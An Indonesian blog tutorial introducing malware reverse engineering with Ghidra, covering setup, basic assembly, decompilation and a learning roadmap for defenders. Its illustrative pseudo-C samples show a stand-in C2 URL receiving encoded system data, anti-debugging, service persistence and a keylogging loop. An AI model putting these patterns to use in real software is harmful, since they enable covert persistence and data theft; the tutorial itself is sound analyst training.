Malware & Analisis

Reverse Engineering Dasar dengan Ghidra — Membongkar Kode Malware

Pengantar reverse engineering malware dengan Ghidra: dari setup project, membaca assembly dasar, dekompilasi kode, hingga memahami logika malware. Untuk pemula yang siap naik level.

Luthfi Ahmad Paradiansyah
Luthfi Ahmad Paradiansyah
Tampilan Ghidra dengan kode dekompilasi dan control flow graph untuk reverse engineering malware
Tampilan Ghidra dengan kode dekompilasi dan control flow graph untuk reverse engineering malware

Lo udah bisa analisis statis. Lo udah jago analisis dinamis di sandbox. Sekarang saatnya naik ke level yang bikin lo jadi malware analyst sejati: reverse engineering.

Reverse engineering (RE) adalah proses membongkar software untuk memahami cara kerjanya — tanpa punya source code aslinya. Dalam konteks malware, lo "membedah" binary executable untuk melihat logika, algoritma, dan teknik yang dipakai attacker.

Ini level yang paling teknis, paling menantang, dan — jujur aja — paling memuaskan. Karena begitu lo berhasil memahami apa yang dilakukan malware di level assembly... rasanya kayak detektif yang berhasil memecahkan kode rahasia.

Di artikel ini, kita bakal kenalan dengan Ghidra — tools reverse engineering open-source dari NSA (iya, NSA beneran). Lo bakal belajar setup project, navigasi interface, baca assembly (yang penting-penting aja), dan dekompilasi kode malware.


Apa Itu Ghidra dan Kenapa Harus Pakai?

Ghidra adalah Software Reverse Engineering (SRE) framework yang dikembangkan oleh National Security Agency (NSA) Amerika Serikat. Dirilis sebagai open-source pada tahun 2019.

Kenapa Ghidra (bukan IDA Pro)?

Aspek Ghidra IDA Pro
Harga Gratis (Apache 2.0) $1,879 - $5,149/tahun
Decompiler Built-in, gratis Butuh Hex-Rays (bayar lagi)
Collaboration Shared project via server Tidak ada (versi standalone)
Scripting Python 3 & Java Python & IDC
Platform Windows, Linux, macOS Windows, Linux, macOS
Learning curve Moderate Steep

Buat pemula: Ghidra jelas pemenangnya. Gratis, decompiler bawaan, dan UI yang lebih modern.


Konsep Dasar Reverse Engineering

Sebelum buka Ghidra, lo harus paham beberapa konsep dasar:

1. Source Code → Compile → Binary

Programmer nulis kode (C/C++/Rust) → compiler mengubah jadi machine code (binary) → CPU menjalankan machine code.

Reverse engineering adalah proses kebalikannya: dari binary → (mencoba) kembali ke kode yang bisa dipahami manusia.

2. Disassembly vs Decompilation

  • Disassembly: menerjemahkan machine code ke assembly language (instruksi low-level seperti mov, push, call). Semua tools RE bisa lakukan ini.
  • Decompilation: mencoba menerjemahkan machine code ke bahasa tingkat tinggi (seperti C). Ini jauh lebih susah — dan Ghidra salah satu yang jago.

Decompiler nggak sempurna. Output-nya kadang aneh, nama variabel hilang, struktur data kacau. Tapi jauh lebih mudah dibaca daripada assembly mentah.

3. x86/x64 Assembly (Yang Perlu Lo Tau)

Lo nggak perlu jago assembly untuk mulai RE. Tapi beberapa instruksi dasar wajib lo kenali:

Instruksi Arti
mov eax, 5 Pindahkan nilai 5 ke register EAX
add eax, ebx EAX = EAX + EBX
cmp eax, 10 Bandingkan EAX dengan 10
jne 0x401000 Lompat ke alamat 0x401000 jika tidak sama (jump if not equal)
call 0x402000 Panggil fungsi di alamat 0x402000
push ebp Simpan nilai ke stack
pop ebp Ambil nilai dari stack
xor eax, eax EAX = 0 (cara cepat untuk nol-in register)
test eax, eax Cek apakah EAX == 0

Nggak perlu hapal semua. Yang penting lo bisa baca flow: "oh, ini compare lalu jump — berarti ada conditional branch."


Setup Ghidra dan Buka Project Pertama

Install Ghidra:

  1. Download dari ghidra-sre.org.
  2. Install Java JDK 17+ (Ghidra butuh Java).
  3. Ekstrak Ghidra, jalankan ghidraRun.bat (Windows) atau ghidraRun (Linux).

Bikin Project Baru:

  1. File → New Project → Non-Shared Project.
  2. Pilih folder untuk project, kasih nama.
  3. Import file malware: File → Import File → pilih malware.exe.
  4. Double-click file di project → Ghidra akan analisis.
  5. Saat pop-up "Analyze?" → klik Yes → pilih default analyzers → Analyze.

Proses analisis memakan waktu beberapa detik sampai menit (tergantung ukuran file).


Setelah analisis selesai, lo bakal liat beberapa panel:

1. Program Tree

Menampilkan struktur file: sections (.text, .data, .rdata), imported functions, exported functions. Klik salah satu untuk navigasi.

2. Listing (Code Browser)

Ini panel utama. Tampilan disassembly dengan assembly code di tengah. Lo bisa:

  • Scroll untuk lihat kode.
  • Klik nama fungsi untuk melompat.
  • Hover diatas instruksi untuk lihat detail.
  • Tekan D untuk mengubah data menjadi tipe tertentu (byte, word, dword, string).
  • Tekan C untuk clear (batalin perubahan).

3. Decompiler

Di sebelah kanan ada panel decompiler. Ini yang bikin Ghidra istimewa. Decompiler otomatis menerjemahkan assembly ke kode mirip C.

Contoh:

Assembly:

PUSH ebp
MOV ebp, esp
MOV eax, [ebp+8]
ADD eax, [ebp+12]
POP ebp
RET

Decompiled:

int add(int a, int b) {
  return a + b;
}

Jauh lebih enak dibaca kan? Itulah power decompiler.

4. Symbol Tree

Daftar semua fungsi, label, class, namespace yang ada di binary. Berguna untuk navigasi cepat.

5. Data Type Manager

Manajemen tipe data. Lo bisa define struct, enum, typedef untuk membantu analisis.


Workflow Reverse Engineering Dasar

Step 1: Temukan Entry Point

Entry point adalah alamat pertama yang dieksekusi begitu program dijalankan. Di Ghidra, biasanya ditandai dengan label entry atau _start.

Navigasi ke entry point. Ini titik awal analisis.

Step 2: Ikuti Alur Program

Dari entry point, ikuti alurnya:

  • Ada call ke fungsi lain? Klik nama fungsinya, lihat isinya.
  • Ada jmp atau jne/je/jg? Itu conditional branch — program membuat keputusan.
  • Ada loop? (biasanya ada cmp + jmp yang balik ke atas).

Ghidra bisa bikin control flow graph (CFG) — visualisasi alur program dengan kotak dan panah. Klik kanan di fungsi → Graph Output.

Step 3: Rename Variabel dan Fungsi

Decompiler ngasih nama generik: local_c, param_1, FUN_00401000. Lo bisa rename untuk memperjelas.

  • Klik kanan nama fungsi → Rename Function → kasih nama deskriptif seperti encrypt_files atau connect_to_c2.
  • Klik kanan variabel → Rename Variable.

Ini bikin analisis makin mudah karena lo mengganti nama generik dengan nama yang bermakna.

Step 4: Pahami Logika Malware

Dengan decompiler, lo bisa baca logika malware:

void main() {
  char* url = "http://malware-c2.xyz/gate.php";
  char* data = collect_system_info();
  char* encoded = base64_encode(data);
  send_post_request(url, encoded);
  add_to_startup("WindowsUpdate");
}

Dari kode di atas, jelas banget: malware ngumpulin info sistem, encode dengan base64, kirim ke C2, dan tambahin diri ke startup.

Step 5: Identifikasi Fungsi Penting

Malware sering memanggil API Windows. Kenali fungsi-fungsi yang sering muncul:

  • InternetOpenW + InternetConnectW + HttpSendRequestW → malware ngirim data via HTTP.
  • CreateFileW + WriteFile → malware nulis file ke disk (dropper).
  • RegSetValueExW → persistence via registry.
  • CreateToolhelp32Snapshot + Process32First/Next → process enumeration.

Di Ghidra, lo bisa search: Search → For Strings → cari nama fungsi, lalu liat siapa yang manggil fungsi itu.


Studi Kasus Kecil: Reverse Engineering Sederhana

Anggap lo punya file sample.exe hasil analisis statis yang mencurigakan. Lo buka di Ghidra.

Di decompiler, lo liat fungsi main:

void entry(void) {
  BOOL isDebugged = IsDebuggerPresent();
  if (isDebugged != 0) {
    ExitProcess(0);
  }
  
  SC_HANDLE scManager = OpenSCManagerA(NULL, NULL, 0xF003F);
  SC_HANDLE service = CreateServiceA(
    scManager, "WindUpdate", "Windows Update Service",
    0xF01FF, 0x10, 2, 0,
    "C:\\Users\\Public\\update.exe", NULL, NULL, NULL, NULL, NULL
  );
  StartServiceA(service, 0, NULL);
  
  while (1) {
    Sleep(60000);
    send_keystrokes_to_c2();
  }
}

Apa yang bisa lo simpulkan?

  1. Anti-debugging: IsDebuggerPresent() — kalau di-debug, langsung exit. Attacker nggak mau malware-nya di-RE.
  2. Persistence: CreateServiceA — bikin Windows service bernama "WindUpdate" (mirip "WinUpdate" yang legit — social engineering).
  3. Keylogging: send_keystrokes_to_c2() dipanggil setiap 60 detik (Sleep 60000 ms).
  4. Loop forever: while(1) — malware ini persistent dan berjalan terus.

Dalam 10 menit dengan Ghidra, lo udah paham persis apa yang dilakukan malware ini.


Teknik Reverse Engineering Lanjutan (Sekilas)

Artikel ini baru dasarnya. Untuk yang lebih advanced, lo perlu pelajari:

1. Debugging (x64dbg)

Kalau Ghidra untuk analisis statis di level assembly, debugger seperti x64dbg untuk analisis dinamis di level assembly. Lo bisa:

  • Set breakpoint di alamat tertentu.
  • Step through instruksi satu per satu.
  • Lihat isi register dan memory secara real-time.
  • Modifikasi nilai saat runtime.

2. Unpacking Manual

Malware yang di-packed dengan protector komersial (Themida, VMProtect) nggak bisa di-unpack otomatis. Lo harus manual:

  • Temukan OEP (Original Entry Point) — alamat asli sebelum di-pack.
  • Dump process memory setelah unpacking di memori.
  • Rebuild import table.

Ini skill advanced. Tapi worth it karena banyak malware targeted yang pakai packer komersial.

3. Scripting Ghidra

Ghidra support Python 3 dan Java scripting. Lo bisa otomatisasi tugas repetitif:

  • Auto-rename fungsi.
  • Cari pattern spesifik di binary.
  • Ekstrak konfigurasi malware.

Tools Alternatif

Kalau Ghidra terasa berat atau lo pengen alternatif:

  • IDA Free — versi gratis dari IDA Pro, fitur terbatas.
  • radare2 / Cutter — open-source, ringan, GUI-nya Cutter.
  • Binary Ninja — berbayar ($299 personal) tapi UI bagus dan decompiler canggih.
  • x64dbg — debugger, bukan decompiler. Tapi esensial untuk dynamic RE.

Penutup

Reverse engineering adalah puncak dari skill malware analysis. Lo bukan cuma tau bahwa file ini malware — lo tau PERSIS bagaimana cara kerjanya. Lo bisa bilang ke tim: "Malware ini pakai keylogging, kirim data via HTTP POST ke domain X, dan persist lewat Windows service bernama Y."

Tapi RE juga skill yang paling lama dipelajari. Jangan frustrasi kalau lo buka Ghidra pertama kali dan merasa "gila, ini apa semua?". Itu normal. Semua orang ngalamin.

Jalurnya:

  1. Kuasai analisis statis dulu.
  2. Kuasai analisis dinamis.
  3. Mulai RE dari sampel sederhana (crackme, bukan malware beneran).
  4. Pelan-pelan naik ke sampel malware beneran.

Di artikel berikutnya, kita bakal deep dive ke analisis ransomware — dari cara kerja enkripsi, algoritma yang dipakai, sampai kemungkinan decrypt tanpa bayar tebusan. Stay tuned!

Ada pertanyaan tentang Ghidra? Kontak gue. Butuh referensi? Malware & Analisis.

Happy reversing!

Belajar RE: The Practical Path

Gue tau setelah baca artikel ini, lo mungkin merasa overwhelmed. "Assembly? Decompiler? Control flow graph? Ini terlalu banyak!"

Tenang. Semua malware analyst profesional juga mulai dari nol. Nggak ada yang langsung jago. Ini roadmap belajar RE yang realistis:

Bulan 1: Kenali tools dan konsep.

  • Install Ghidra.
  • Buka file sederhana (bukan malware) — misalnya notepad.exe atau calc.exe.
  • Biasakan navigasi: scroll, klik, search.
  • Jangan coba pahami semua instruksi assembly. Cukup kenali pattern: ini call, ini jmp, ini cmp.

Bulan 2: Mulai dengan crackme.

  • Download crackme dari crackmes.one.
  • Tantangannya simpel: cari password atau serial key yang benar.
  • Mulai dari level 1 (termudah). Kalau stuck, baca write-up dari orang lain.
  • Ini cara terbaik belajar RE tanpa risiko malware beneran.

Bulan 3: Reverse engineer malware sederhana.

  • Cari sampel malware di MalwareBazaar yang sudah banyak write-up-nya.
  • Analisis sendiri dulu. Baru baca write-up orang lain untuk verifikasi.
  • Fokus ke memahami flow, bukan menghapal assembly.

Bulan 4-6: Makin mahir.

  • Mulai reverse engineer malware tanpa write-up.
  • Pelajari teknik unpacking manual.
  • Eksplorasi debugging dengan x64dbg.

Yang penting: konsisten. 30 menit setiap hari > 5 jam di akhir pekan. RE adalah skill yang dibangun dengan jam terbang, bukan bakat alami.

Dan ingat: nggak semua malware analyst harus jago RE. Banyak yang cukup dengan analisis statis + dinamis. Tapi kalau lo kuasai RE... lo jadi analyst yang jauh lebih bernilai.

Latihan: Reverse Engineering Crackme Pertama Lo

Daripada langsung terjun ke malware, coba reverse engineer crackme dulu. Download crackme level 1 dari crackmes.one — biasanya tantangannya sederhana: "temukan password yang benar". Buka di Ghidra, navigasi ke fungsi main, dan coba baca logikanya. Cari instruksi cmp atau strcmp yang membandingkan input user dengan password. Sekarang lihat apa yang dibandingkan — itu passwordnya. Kerjakan 5 crackme level 1. Kalau udah lancar, naik ke level 2. Jangan buru-buru buka malware beneran. Bangun confidence lo dulu dengan crackme. Trust me — ini cara belajar yang paling efektif dan paling tidak membuat frustrasi. Teruslah berlatih. Seperti belajar bahasa asing, semakin sering lo "membaca" assembly, semakin alami rasanya. Dulu gue juga merinding lihat mov eax, [ebp-4]. Sekarang udah kayak baca koran. Semua butuh waktu dan jam terbang. Jadi nikmati prosesnya. Selain itu, gabunglah ke komunitas reverse engineering. Banyak grup Discord dan forum yang welcome untuk pemula. Kalau lo stuck, jangan malu bertanya. Komunitas RE Indonesia juga mulai tumbuh — cari aja di Telegram atau grup WhatsApp. Belajar bareng selalu lebih cepat dan lebih menyenangkan daripada belajar sendiri.

Enjoyed this article?

Share it with your network

Copied!
Luthfi Ahmad Paradiansyah

Written by

Luthfi Ahmad Paradiansyah

Saya adalah CEO Forendigi, perusahaan digital yang berfokus pada solusi forensik digital modern. Berbekal pengalaman mendalam di bidang keamanan siber, analisis data, dan investigasi teknologi, ia berhasil membawa Forendigi menjadi mitra terpercaya bagi institusi, korporasi, serta aparat penegak hukum. Di bawah kepemimpinannya, perusahaan mengembangkan inovasi untuk mengungkap bukti digital dengan akurasi tinggi, menjaga integritas data, serta meningkatkan keamanan informasi. Visi strategis dan kepemimpinan Saya menempatkan Forendigi sebagai pelopor layanan forensik digital yang profesional, adaptif, dan berstandar internasional.